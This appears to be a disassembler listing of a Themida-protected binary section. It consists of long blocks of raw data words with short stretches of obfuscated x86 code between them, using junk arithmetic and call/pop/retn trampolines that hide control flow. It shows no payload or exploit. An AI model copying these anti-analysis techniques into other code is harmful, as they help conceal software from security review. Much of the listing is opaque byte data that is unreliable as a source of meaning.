dd 16C3F9A5h, 0EA16A1FDh, 0FFE6F29Fh, 82510B34h, 80493D58h
dd 0F670811Ch, 7AADC86Ah, 7B28CE98h, 5CD00698h, 743AC99Bh
dd 4E84DCB1h, 0A12C72A1h, 825FC275h, 0A8E838FAh, 0FA13298Ch
dd 4DC257F1h, 349DC651h, 6F530D8Eh, 156AFAA4h
dd 0BCFAA0FEh, 0B35E040Fh, 0D42660EBh, 850B1797h, 28DF65Fh
dd 30C0A0E9h, 0F49CFA14h, 0BF4FA8F9h, 4DF3AB6Ah, 32280Fh
dd 0F3C10000h, 1E3ACA96h, 7E090D4h, 0D33652D2h, 107E090h
dd 85AF3FA8h, 0F1E1DF9Eh, 0C9F45A9h, 0FD336BA7h, 22AFBE7Bh
dd 4C68F86Ah, 7E0A8F1h, 0B514B60Fh, 0ED277CBCh, 91FD26B1h
dd 0FFE6832Eh, 0A855FB54h, 9CFD336Bh, 0C7E373EDh, 7E0ADB5h
dd 0D5C94CE1h, 729CDC6Ch, 987E5C3Bh, 9946ECECh, 0F64F1677h
dd 1488C092h, 91FAA46Fh, 3866AC01h, 0D8F484ADh, 7E18275h
dd 5E9C429Bh, 0FC185FB1h, 7E18299h, 0C2DE6EC7h, 7E1825Fh
dd 33C32C85h, 0EBC7A809h, 0DD83D32Fh, 858314Ah, 0FCD25C78h
dd 77D00FDAh, 0C59C0ECh, 1A6FFFE7h, 689AB646h, 6E07E11Dh
dd 0F55B8515h, 0B03138CEh, 76D9F585h, 9C07E0A9h, 0DE0A9D43h
dd 7E0A977h, 3F460081h, 406EB507h, 526EAEEEh, 7E09CEFh
dd 0ED50BC15h, 1307E09Ch, 9FFF15BAh, 6445EB14h, 24h, 4856BF14h
dd 67BCEBA2h, 0E94AF0AEh, 1430C0A0h, 7E090CAh, 9AEF7FD8h
dd 759E2975h, 389D3CCFh, 36000000h, 0FD607CBCh, 0D4FFE682h
dd 0E68355B8h, 0E1227BFFh, 881E288h, 5E88C858h, 0F0887C5h
dd 0B2EC2738h, 0EF95FE27h, 0E145BD7Bh, 0FE1A5A07h, 7E13D9Bh
dd 81CA70C9h, 0A72E9D28h, 174326Ch, 42998334h, 71D6807h
dd 72A40000h, 0C949F62Ch, 23F29FD5h, 7798457Bh, 0CD44F127h
dd 0B2679BD1h, 205648C9h, 0C7FDA173h, 72A8F61Ah, 1A504EC5h
dd 74D7F34Bh, 0A207E922h, 637B853Ch, 90D0B9h, 8341A4C0h
dd 0A0BFFE6h, 9FE00994h, 83A0031Fh, 6DC6FFE6h, 86C65E04h
dd 14BAE431h, 0E0899EA0h, 0AEEB4407h, 2763274Ah, 0C5435CAh
dd 0A7FC3C7Ch, 7EA7326Ch, 0A35FAF12h, 76A86C5h, 2DC5A35Fh
dd 943A93D4h, 9D685E20h, 0A02B84CDh, 0CE5E0287h, 0C3DB398Eh
dd 9224A91Dh, 0EE43CA27h, 88D17727h, 355F9F2Fh, 0AEF4D3B1h
dd 0AF5C0293h, 55AA3A64h, 3B66E0BEh, 0BE677E74h, 2AD715BBh
dd 88F7B5E9h, 0BB5C3F00h, 65DE180h, 0B2640000h, 909B6ECh
dd 63B25F95h, 0B758053Bh, 0D04B1E7h, 72275B91h, 0E0168889h
dd 87BDE133h, 326836DAh, 0DA108E85h, 3497B30Bh, 6207E923h
dd 6CA745FCh, 341D7432h, 0F32E9983h, 61E54h, 2B73A300h
dd 0D4CA48F5h, 7A24F19Eh, 26789744h, 0D0CE43F0h, 0CAB1669Ah
dd 74215747h, 1BC8FEA0h, 0C673A9F5h, 4C1B514Dh, 2375D8F4h
dd 359B07E9h, 216CA77Eh, 9668E625h, 0F681EA6Dh, 0E0BE51A6h
dd 25862C55h, 2C6CFC64h, 0BA603ED7h, 0E9FD3946h, 50BF1407h
dd 65FA84Eh, 0AAF42176h, 1250F61Fh, 0F888D8B1h, 0E32962DCh
dd 9C27800Fh, 0DEC40970h, 0D892130Fh, 6CCC99D1h, 0BE3748h
dd 92E70000h, 3095207Eh, 0B056BFDFh, 0BA647BF9h, 0AC0191CFh
dd 85AE3965h, 292B47DFh, 8D07E08Ah, 0B65F7323h, 0D43DD7E9h
dd 0E3E63397h, 0A1E8D6E7h, 38DA2FBFh, 0CB2DB66h, 0FF865874h
dd 338CD0DDh, 110358A8h, 386E78Dh, 718DCD5Dh, 0CEEDFF0Eh
dd 9D35DB34h, 0EBA2F781h, 292EBD6h, 0F61265ADh, 0C8E16293h
dd 59FF68C1h, 0F7A76CC1h, 0A0FE1267h, 40FBCFAh, 0EB8FDC9Ah
dd 518C5179h, 522B2h, 27779F00h, 0D0CE44F1h, 7628ED9Ah
dd 227C9340h, 0CCD23FECh, 0C6AD6296h, 701D534Bh, 17C4FAA4h
dd 0C26FA5F9h, 48174D51h, 2471D4F0h, 399F07E9h, 0A46D82h
dd 0FB250000h, 0DF1493D1h, 0D68D337Eh, 3ACA96F3h, 0E7722CE5h
dd 408018BEh, 0EA7529EBh, 0AAF41CC1h, 0DC50F61Fh, 7E919BFh
dd 1CF94E8Eh, 62CEF782h, 7E918FFh, 0EA27CC25h, 5A0029B4h
dd 0D328B811h, 7B285E40h, 5549CA98h, 9B6090CAh, 0EBA697A3h
dd 758E1982h, 0A0BC4C14h, 0FE2CAF6h, 0EF0893ECh, 1A36C69Ah
dd 17D8E2E8h, 8AD795EEh, 7D91812Bh, 479A342h, 0CE480000h
dd 25ED9AD0h, 7F964379h, 0D33CE91Fh, 29E895CBh, 560B3F75h
dd 0C4FAA46Dh, 6BA1FD17h, 164C52BEh, 0BEF4AA69h, 187B97EFh
dd 3E07E925h, 7DE021D8h, 78FFE683h, 0FFE68311h, 6EFE6227h
dd 6480F719h, 0FFE68301h, 0E26DD62Fh, 0CCC689A8h, 4CB5AD61h
dd 45D502D2h, 43E93595h, 0C5828FABh, 0C31C07E9h, 5E40D338h
dd 810E5FA0h, 62013C91h, 407h, 0C425CBAh, 0B5EBB35Fh, 5B910D08h
dd 73D61AEh, 0B1E7B75Ah, 32DFC87Dh, 8B89366Ch, 0E030DD13h
dd 38DB88BEh, 9613066h, 0E9268AEDh, 9B52B807h, 0A7326CA7h
dd 0D565FB8Eh, 650A9480h, 0B24AF0AEh, 0E09FD896h, 0A1710607h
dd 0E04972FDh, 0B6D212AAh, 7E09F53h, 0E822881h, 508FB041h
dd 0F4841AF7h, 8F3598B4h, 25B4F3Bh, 8EF35672h, 0C8214F3Bh
dd 0DA37E422h, 8C178788h, 156AFA63h, 65F89E00h, 0F127414Ch
dd 0A967BC3Ah, 9B416AF5h, 0E97925EEh, 0CCFC9BFh, 8225C9E2h
dd 4F5CD66Dh, 6AFDA348h, 5A900E05h, 40D090F9h, 0E16C8A24h
dd 54DF3807h, 0E117C128h, 904ACB07h, 5DA397C1h, 0EAFC96E6h
dd 0FE3C7444h, 39DA406Eh, 8A000000h, 0EECB2E4Ah, 0A0F907E0h
dd 0FF8A14FBh, 0F37930D6h, 1E3ACA96h, 7E09C50h, 2565F54Eh
dd 0E09BA609h, 0CD73CC07h, 9BA70E3Ah, 30B107E0h, 0A7376F76h
dd 26D5406Eh, 66000001h, 0CBAC67BCh, 0E6834CAFh, 0B8217AFFh
dd 5EC1DD2Dh, 84FFE683h, 6F1CC22Bh, 0A6FFAA4h, 0BC0C9707h
dd 82FD607Ch, 3FEAFFE6h, 0D91D82A2h, 5DD73071h, 6AF6B1B3h
dd 6B18BE1Ch, 66BF6A8h, 0E75B910Dh, 0FFE71A5Fh, 209DF023h
dd 0F0526382h, 58AD3DA6h, 0EA67E1BDh, 0D02C2D31h, 0EF9CDA80h
dd 0D6EF7A24h, 11DADB3h, 7E0DF1Bh, 57B8EE47h, 5E9E2E32h
dd 1308D034h, 0C454DE00h, 0E0D745A8h, 6C126B07h, 0DDBA1CF8h
dd 64D1FB0Fh, 0A947CA2h, 26DC567Fh, 8BD47A42h, 0C44DA232h
dd 0D7204ADAh, 90A31A34h, 661351F7h, 8435F3ABh, 0C7998533h
dd 251ED8Ch, 0A6700000h, 0FD15C2F8h, 57BE6BA1h, 0AB641147h
dd 110BDF3h, 7E33679Dh, 0EC227C95h, 93C9D53Fh, 3E742AE6h
dd 0E61C8291h, 40A3BF17h, 6607E927h, 6AA74900h, 838EF10Dh
dd 5BB4FFE6h, 50D62F2h, 0A9D40E99h, 3220EC6Ah, 27650B74h
dd 0D0334F8Fh, 0F6FFE72Bh, 821CF89Dh, 93E42FDCh, 0E72B1477h
dd 5FD842FFh, 8FEAA274h, 366CD53Eh, 0D7C7499Eh, 17BDE132h
dd 0CA96F360h, 0F21C103Ah, 1E5ACA5Fh, 0E3CAA0A4h, 35DB3D87h
dd 4EB3819Dh, 366007E1h, 4A2E61EBh, 0F0AE6280h, 78DBF787h
dd 9E07E179h, 0C1569F45h, 97C04B53h, 1077A32Eh, 1A07E179h
dd 0A0D8DF99h, 87406F85h, 6DC82B47h, 888A07E1h, 21628B16h
dd 0F74122C8h, 0D2000000h, 0CBAC67BCh, 0E6834CAFh, 0B8217AFFh
dd 0F0AE6512h, 5D050B60h, 0F681EAB4h, 449427CDh, 8385E804h
dd 2BABFFE6h, 0E683AC0Fh, 1881DAFFh, 524CC572h, 0EE2277C7h
dd 0E960AB0h, 49FFE688h, 0F47F1FF4h, 9B7825CBh, 0E7504EC7h
dd 8F0F04B1h, 0C29EEB04h, 9D301632h, 55E07E0h, 3AAF4B75h
dd 83932FF2h, 4B3E9FDDh, 8C6FD2EEh, 159507E0h, 0E08C96F9h
dd 0FA63BC07h, 66AC0191h, 0DE84AD38h, 5EB10646h, 0E68CB540h
dd 0DD6B3772h, 24B40D0Fh, 0F22042CFh, 600D43ACh, 942FEDB1h
dd 0B79985E2h, 0E5DD7Ch, 3ADC0000h, 91812E64h, 0EB2AD70Dh
dd 3FD07DB3h, 957C295Fh, 0EA9FD309h, 588E1001h, 0FF3569ABh
dd 0AAE0BE52h, 528816FDh, 0AC0F2B83h, 0DA07E929h, 6AA7BD74h
dd 0C14FA434h, 832952DDh, 0E77B9845h, 0BCE5702Eh, 5B851D53h
dd 496B0A28h, 0EDB16145h, 6836DF84h, 6CA70BC2h, 0D142A732h
dd 95207E91h, 524CC76Ch, 0FF359EC7h, 0E575EB9Eh, 0E919A8C9h
dd 0EA75CE07h, 80108E85h, 0A3BE1640h, 0DF358B01h, 0E92E1073h
dd 37DD3607h, 0D7C74CF9h, 801EF247h, 0E51B47DAh, 9934E788h
dd 51C2A660h, 0A96A174Dh, 92565F5h, 24E374A6h, 73FE617Dh
dd 0CB2424E3h, 0F88B318Ah, 97227C93h, 3E22DC05h, 0E693C9D5h
dd 47E6712Dh, 1Fh, 40A3BFFFh, 6624E374h, 0BBB0670Dh, 0BC1F3B7Bh
dd 0EAFFE683h, 82E50191h, 0B0FFE683h, 0A7FAB157h, 3FA42F6Fh
dd 0DA3FCAD4h, 78DD6836h, 1277029Ch, 0AF149FFFh, 4CB13C62h
dd 0EB50DBC3h, 84E9742Ah, 5285108Eh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push 0C4Ch
mov [esp], edx
push 6ACDh
mov [esp], eax
push eax
mov eax, 546E5AA1h
sub eax, 1B09260Dh
add eax, 513420ACh
add eax, 190F72DBh
xor eax, 49C76085h
not eax
xor eax, 5E5641B3h
mov edx, eax
pop eax
xor edx, 2EB2BE0h
sub edx, 412AA639h
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ecx
mov ecx, 8
add ecx, 4F411FE5h
add ecx, eax
sub ecx, 4F411FE5h
mov [ecx], edx
pop ecx
push dword ptr [esp]
pop eax
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_58B334
; ---------------------------------------------------------------------------
les ecx, [ecx]
mov eax, 802A73Fh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 78h, 0C9h, 29h
dd 5BA90877h, 22FEAF1Bh, 7BFF1946h, 3749033h, 3A23CA57h
dd 9F93C46Bh, 540D0826h, 0A9AAFB1Ch, 0D7C9832Ch, 2B07E570h
dd 2A03CB01h, 69813B50h, 0CF242E47h, 0B5323131h, 4387AB09h
dd 0B5C19B39h, 29496311h, 0E5BB3953h, 0F8F5B122h, 9218D44h
dd 0CF1FDF7Fh, 49750328h, 1E8D8D29h, 660802A9h, 0F5C7C781h
dd 1CD98D89h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 0E3DDFC3h, 8E0FF0h, 0C7000000h
dd 0FA31AD85h, 640C07h, 14E900h, 71620000h, 0AC28D3BFh
dd 0AFAED0ACh, 0B15F292Fh, 3F03347Bh, 85C710E7h, 7FA2BD9h
dd 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_60DCDF
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60DCDF proc near ; CODE XREF: Themida_:0060DCD7p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_60DCDF endp
; ---------------------------------------------------------------------------
mov eax, ds:829D9C85h
imul esi, ds:45958BAFh, 0Bh
cli
pop es
push dword ptr [ebp+7FA3391h]
push 0
push edi
call sub_60DD0E
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60DD0E proc near ; CODE XREF: Themida_:0060DD06p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_60DD0E endp
; ---------------------------------------------------------------------------
dw 57DFh
dd 0D2E82F48h, 1079958Bh, 95FF07FAh, 7FA1799h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 92C35141h, 0DD32CEE9h
dd 660FA121h, 0F38BD68Bh, 95FF006Ah, 7FA1019h, 5AEBC08Bh
dd 0C6BBE407h, 3891B6FFh, 82437AD0h, 8A392AA1h, 0BEE9228Ch
dd 0EA69C868h, 55512467h, 20E2BF3Ah, 0A8C64A40h, 0CF4256DBh
dd 8A3E68A4h, 876DFD6Bh, 0C0B275B5h, 9AAB8A7Eh, 0C1493D50h
dd 728E319Bh, 0BD19B224h, 5A324D2Ah, 25A9519h, 7C34D644h
dd 47D36C2Eh, 0B4E5E222h, 8D8DD194h, 802AA3Ah, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2DC35747h, 0AC71B135h
dd 23E98589h, 8D8907FAh, 7FA1CD9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 9DC35343h, 38B54071h, 29F6F9B4h
dd 0FA1145BDh, 0AD85C707h, 7007FA31h, 2900006Dh, 0FA269985h
dd 0D985C707h, 7FA2Bh, 0FF000000h, 0FA0E71B5h, 41958907h
dd 907FA35h, 0FA202585h, 9995FF07h, 6A07FA17h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 509BC353h, 84EB8166h, 85895EA2h, 7FA1829h, 95FF006Ah
dd 7FA1019h, 3FEBC08Bh, 7BA155EEh, 0C34E6944h, 0F788E767h
dd 732C563Dh, 849C1622h, 73854E53h, 0BE3693A5h, 818559Fh
dd 6FEDEACFh, 6478445Ch, 0C409E118h, 3BFBA081h, 0F4FC21FEh
dd 0B34C82C4h, 1577A7BBh, 8D581967h, 2AB918Dh, 79BD8B08h
dd 8907FA2Bh, 0FA1CD98Dh, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 29DE8730h
dd 0DB93B838h, 9D8BDE13h, 7FA28F5h, 31AD85C7h, 5E0807FAh
dd 0EE90000h, 0F3000000h, 0E784709Fh, 0B1CAF71Fh, 0E433BDF8h
dd 8E9E7h, 3CD30000h, 276B84F4h, 85C72276h, 7FA2BD9h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_60DF3B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60DF3B proc near ; CODE XREF: Themida_:0060DF33p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_60DF3B endp
; ---------------------------------------------------------------------------
db 56h
dd 31F4D7CDh, 0DE7FB5B1h, 0B5FF63B7h, 7FA3391h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 34C35040h, 6B49077Fh
dd 0E81B426Ah, 0Eh, 69EA73F4h, 0E21CF5E4h, 0F1E7164Fh
dd 0E956E874h, 8, 38BD47E4h, 0F67A356Ch, 95FF5F5Bh, 7FA1799h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 94C35343h
dd 0CEB2E370h, 6AC38205h, 1995FF00h, 8B07FA10h, 0A25AEBC0h
dd 3BA683E6h, 7B7B3E3Bh, 0AB5E9786h, 1916396Eh, 0ED4C0499h
dd 2BD2E2F1h, 1050777Ch, 0B4EEEE48h, 4BC96407h, 161D8B3Eh
dd 94D460E5h, 6EB782B1h, 0B742AE4Dh, 3AB0E4AEh, 31EE15CCh
dd 964EF26Bh, 9A03FE6h, 57994A95h, 45F78052h, 93B99289h
dd 0C690C5CAh, 64958B36h, 12E867h, 0B3CB0000h, 0B88D8008h
dd 0A5833B8Eh, 6CA74A23h, 244D3C1Ah, 0DE9h, 245C4F00h
dd 0EF591D74h, 6A80AFF9h, 315A5F09h, 0FA0CA58Dh, 93C28107h
dd 0BF000072h, 0
; ---------------------------------------------------------------------------
mov [ebp+7FA2151h], ebx
loc_60E072: ; CODE XREF: Themida_:0060E0F1j
mov ecx, [edx+edi]
mov si, ax
sub ecx, 3A9A3010h
jnp loc_60E09C
jmp loc_60E09C
; ---------------------------------------------------------------------------
db 8Bh, 1Dh, 16h
dd 94D460E5h, 6EB782B1h, 0B742AE4Dh, 3AB0E4AEh
; ---------------------------------------------------------------------------
loc_60E09C: ; CODE XREF: Themida_:0060E07Ej
; Themida_:0060E084j
sub ecx, 60A5A6CFh
or [ebp+7FA0E99h], edx
sub ecx, 6BFCC482h
push eax
jnz loc_60E0B9
mov bx, 0C56Bh
loc_60E0B9: ; CODE XREF: Themida_:0060E0AFj
pop ebx
mov [edx+edi], ecx
mov esi, edi
mov esi, [ebp+7FA0029h]
sub edi, 4
sub ax, 5BF8h
cmp edi, 0FFFF8E34h
jnz loc_60E0EB
mov bh, al
jmp loc_60E101
; ---------------------------------------------------------------------------
dd 42570952h, 3C7E1A06h
db 0F1h, 23h, 0B6h
; ---------------------------------------------------------------------------
loc_60E0EB: ; CODE XREF: Themida_:0060E0D3j
mov [ebp+7FA0651h], eax
jmp loc_60E072
; ---------------------------------------------------------------------------
xor al, 0FCh
sbb [edi+11DDA27Bh], edx
imul edx, [edx], 64h
loc_60E101: ; CODE XREF: Themida_:0060E0DBj
lea ecx, [ebp+802AD89h]
push 0
push esi
call sub_60E112
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60E112 proc near ; CODE XREF: Themida_:0060E10Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_60E112 endp
; ---------------------------------------------------------------------------
dw 587Eh
dd 6C004A02h, 7D858BDDh, 8907FA0Dh, 0FA1CD98Dh, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 142DB35Eh, 153D958Bh, 85C707FAh, 7FA31ADh, 5C34h, 20499D8Bh
dd 85C707FAh, 7FA2BD9h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_60E17F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60E17F proc near ; CODE XREF: Themida_:0060E177p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_60E17F endp
; ---------------------------------------------------------------------------
db 46h
dd 56E3FB4h, 0C7D08162h, 0FC173615h, 2EA9B5FFh, 8F0F07FAh
dd 3, 0FF5FD080h, 0FA179995h, 9E807h, 9ADA0000h, 0B6350049h
dd 80B748CFh, 6A58C0E0h, 1995FF00h, 8B07FA10h, 0BA6EEBC0h
dd 80A58E3Ah, 0E998EA40h, 1A6EFA14h, 0E74A6356h, 7CDC3DF5h
dd 83433136h, 73D6BD6Dh, 5FA3324Ch, 4288EC8Bh, 3733B681h
dd 51640F48h, 141D9115h, 2608290Eh, 671AD93Ch, 23A9A814h
dd 961EA16Eh, 9DF891F6h, 0CD3A306h, 0C437CF6Bh, 80D20927h
dd 0F3467477h, 0B1D146F2h, 6B1FABD5h, 344F7070h, 0C3C54FE7h
dd 0FC431CA4h, 9991199Eh, 30E90Ch, 0A77B0000h, 4004h, 0Ah dup(0)
dd 33E90000h, 0DD000005h, 822F6539h, 2BD80E90h, 0D17EB4EAh
dd 7D2A603Eh, 0A0D40A94h, 910D04EBh, 3866AE5Bh, 0E3BB5502h
dd 8B1300ADh, 122E8655h, 7E931AFh, 0A7B86FD5h, 42A7326Ch
dd 199CFCFh, 26581C1h, 30FFE683h, 83086BD7h, 0D52EFFE6h
dd 0D91822Fh, 0A8F61D82h, 718DCD1Dh, 0FFE6830Eh, 8835DB34h
dd 3089148Ah, 0BA593DF7h, 0F01AEE4h, 64AC598Fh, 355FAF3Ah
dd 39474104h, 3AE78DDEh, 0D439C4DAh, 73D8633Bh, 3276019Dh
dd 0BD8F37F1h, 0B1ED287Dh, 0ECD08A0Bh, 95EA7A24h, 7628E77Bh
dd 0CE59C2EBh, 14C1FFA5h, 0C4149FFFh, 72FDA16Fh, 329B030Dh
dd 0D7B2188Ch, 5BE3FFE6h, 5900E06h, 0FBB536DCh, 74E3BCF4h
dd 735A38h, 0A7EB0000h, 4DA2326Ch, 234CD7C7h, 59BEEA7Dh
dd 1FFFE683h, 0BD22ADF1h, 70A54A54h, 3753A32Eh, 0FFE683D4h
dd 0E425A902h, 0D344822Ah, 8EDA1219h, 1783874h, 9000000h
dd 0A3336BA7h, 82E44763h, 0B912FFE6h, 0F71B8013h, 71B75680h
dd 0CE0B8FAh, 0E6DA3DA0h, 0A10A63FFh, 405EB116h, 69235CB5h
dd 0DB118D85h, 937DE52Eh, 0D46CA20Bh, 675A24AAh, 0ED93583Fh
dd 346AA736h, 0E54864A4h, 0BFFE682h, 9A039B76h, 16FC61F4h
dd 0B0E1FD88h, 9FFF12F6h, 4757BC69h, 0E0BE57BCh, 0F5AF3055h
dd 7489A6EEh, 8B4438h, 0A7D50000h, 8519F86Ah, 8376D9F5h
dd 439CFFE6h, 2BEA4FDAh, 83CD304Ch, 9AF3FFE6h, 0BF77A131h
dd 0D6E00288h, 1C8519F8h, 3A8AE376h, 0CC722CE5h, 64AD914Bh
dd 0BA57043Ah, 1EF66CA8h, 638C1780h, 50A6FFAh, 6CA90E99h
dd 0CD42A732h, 0F92A46D1h, 0B132973Fh, 0D6A8F0F7h, 51463874h
dd 0D7000000h, 0FD607CBCh, 23FFE682h, 9A7724CAh, 0CC9389F3h
dd 72EC4C98h, 26ECDBA9h, 86117A02h, 24AFEF21h, 1E59FE0h
dd 0A9FE8E10h, 4E8C326Ch, 336BA797h, 83167CA8h, 34E0FFE6h
dd 967ADF6Ah, 30617D08h, 1F90CE76h, 8F265E65h, 1C43874h
dd 55000000h, 0A5306EA7h, 3BCBD340h, 837CDFFBh, 51AAFFE6h
dd 5FB318ABh, 0C34FB43Fh, 0CB0C50DBh, 6E976911h, 5945D0B4h
dd 99C7C223h, 415DB409h, 89E7039Bh, 0B507E09Ah, 2C81D15Ch
dd 6411B7E7h, 0CB9EFAFh, 0E00C9707h, 7E09A7Bh, 876B2566h
dd 44DC128Ch, 0D57B23EFh, 9DA2EB28h, 6C46E0A7h, 56A6319Ah
dd 6597FA16h, 64BD07E1h, 9C0211BEh, 0AC4F511h, 7BB1ED26h
dd 6F7173ABh, 0D055A40h, 860AEB91h, 9B000001h, 0FD607CBCh
dd 0EAFFE682h, 53D73394h, 0D66A7B8h, 0B6830667h, 0E6B1379Ah
dd 9B045DFFh, 0E699EF0Bh, 6CC507E0h, 0F6977CE1h, 0CF56EA13h
dd 84BA2383h, 207E97ECh, 19C66C95h, 0C919A4FAh, 4FC59D74h
dd 329BC44Fh, 38D97EA7h, 13C066h, 0C6F7139Eh, 0B3EB280Ch
dd 8975AD7Dh, 325C406Fh, 882A5CE7h, 3699B50Bh, 5C07E104h
dd 13F49A03h, 57h, 0C69AF3A4h, 8DCCF636h, 152DD036h, 0E467DB81h
dd 0D27FE70Dh, 9AC05768h, 0A13DAD0h, 86264D6Ah, 0A76C117Ah
dd 0D7038EF7h, 7FE67F74h, 42CDD13Eh, 0DB6638DDh, 0BE662049h
dd 7A49032Ch, 7FBB1E3Ah, 90E97FE6h, 5C0489EAh, 7F2DB0CCh
dd 3A93FFE6h, 0BF1D04h, 0F3B60000h, 19858E96h, 0B8E6298Eh
dd 3A56E64Fh, 7E09AD0h, 0D82DBD16h, 0ADD6613Dh, 40F7407h
dd 77CC649Ah, 1277029Ch, 0ED16A1FDh, 0E231DE84h, 9D0531BCh
dd 607E09Ah, 0D3BA59AEh, 35D1E1Ah, 63EE5748h, 4194F713h
dd 69C207E1h, 0E7B75B00h, 0C8D335Ch, 0BDA56E52h, 95BE4955h
dd 0F495F62Ch, 5AC0DC6Ch, 390FE3EFh, 4800050Fh, 276FC82Ch
dd 1B017BBEh, 80C96FB8h, 0F74C9C27h, 2DDA801Eh, 0D328B8E6h
dd 71D6613Dh, 4770FBA3h, 13A538DEh, 43CDA9D3h, 97FA4310h
dd 1B98D81Dh, 0D177B523h, 8BFE9650h, 0D56184AEh, 46D7F2A4h
dd 0DED177DAh, 0DB449D0Fh, 7FC92F4Bh, 60F517E1h, 5086EFAFh
dd 0CA96F399h, 31B81E3Ah, 8DE607E9h, 28769D02h, 0D0CE45F2h
dd 467B1945h, 96CF4FEFh, 0B1CD0DDCh, 3FEB3D4Eh, 0C8751B74h
dd 701D534Bh, 0B70FBA3h, 0B50A9A04h, 22692F5Eh, 94D240ACh
dd 0D177A02Bh, 623CD93Eh, 0C39F72D7h, 5CE7504Eh, 7F27E10Ah
dd 0E6CA84ADh, 0CB2E4A2Dh, 0F93FEACBh, 540137A0h, 0B554DFBFh
dd 8, 0AC67BC4Eh, 54B34CF2h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh
dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh
dd 85108E84h, 0E0895052h, 405h, 4E88300h, 5C240487h, 83242489h
dd 52042404h, 0C281E289h, 4, 4EA81h, 14870000h, 0C895C24h
dd 0E0895024h, 405h, 42D00h, 4870000h, 14895C24h, 36BF5724h
dd 890802AEh, 243C8BF9h, 5404C483h, 8324148Bh, 286804C4h
dd 89000010h, 428F240Ch, 2434FF08h, 4C4815Ah, 0FF000000h
dd 81592434h, 4C4h, 0CB8EE900h, 45B9FFF7h, 0ECB81DDBh
dd 30802B2h, 0F7E0FFC5h, 0CE6A0495h, 70198170h, 0DD5AC193h
dd 0E70C6854h, 1E562257h, 0DC69BA90h, 1750430Fh, 1718EC5Ah
dd 0A82BA409h, 3239FEB6h, 27771803h, 5709EEA8h, 0A003B119h
dd 0F1137F7Eh, 0DF72A2E8h, 0EB535FB3h, 10h, 3 dup(0)
dd 0F8C08B00h, 0AADB58Bh, 0BD8307FAh, 7FA2ACDh, 83097500h
dd 0FA1899BDh, 19740007h, 0C08B5350h, 42DB8h, 0C9858900h
dd 8D07FA20h, 0FCE2249Dh, 5BD3FF07h, 99BD8358h, 7FA18h
dd 53501774h, 42DB8h, 0C9858900h, 8D07FA20h, 0FCDF139Dh
dd 5BD3FF07h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0EC6F7DD7h, 6697FBECh, 0B817EE81h
dd 1D2D8D29h, 0B52907FAh, 7FA1061h, 6AC08Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0A06DECC3h
dd 799533h, 0BF0F07FAh, 758D8BF1h, 0BE07FA10h, 11D55310h
dd 0F00F983h, 0AA84h, 0BACE8000h, 6F1958Bh, 8B6407FAh
dd 2C3Dh, 77C28100h, 0F1CD66Bh, 0FF0BD2B7h, 89840Fh, 95890000h
dd 7FA2C8Dh, 6A3F8Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 5BB1BFC3h, 0A7C4B7F8h, 0E840BA36h
dd 8, 0BA11CAD7h, 0F9119BE1h, 1D6DB533h, 0E95E07FAh, 12h
dd 4473EEE7h, 27214A1h, 0D577E76Ch, 0DC266D1h, 0C032F7C1h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 84C35545h
dd 5E8AAF3h, 80000000h, 0D4936355h, 2E09B58Bh, 355E07FAh
dd 53504149h, 12E8h, 61E14000h, 92111266h, 9B70DC91h, 0F6B8A5B6h
dd 0E92FC5B3h, 12h, 7B308D88h, 0D6638265h, 0D529E5C9h
dd 95EC6693h, 0C65A8D5Fh, 0FA066585h, 0F604707h, 0C8Ah
dd 6E800h, 31880000h, 0B81E6BFDh, 6820F5Eh, 29000000h
dd 0FA14559Dh, 0A4686107h, 509978C7h, 0FF28B52h, 82D2BA31h
dd 585A32F6h, 88240481h, 0BE435DC0h, 62C0AFh, 2095B5FFh
dd 8DF507FAh, 0FDA3DD85h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 81D62B1Ch
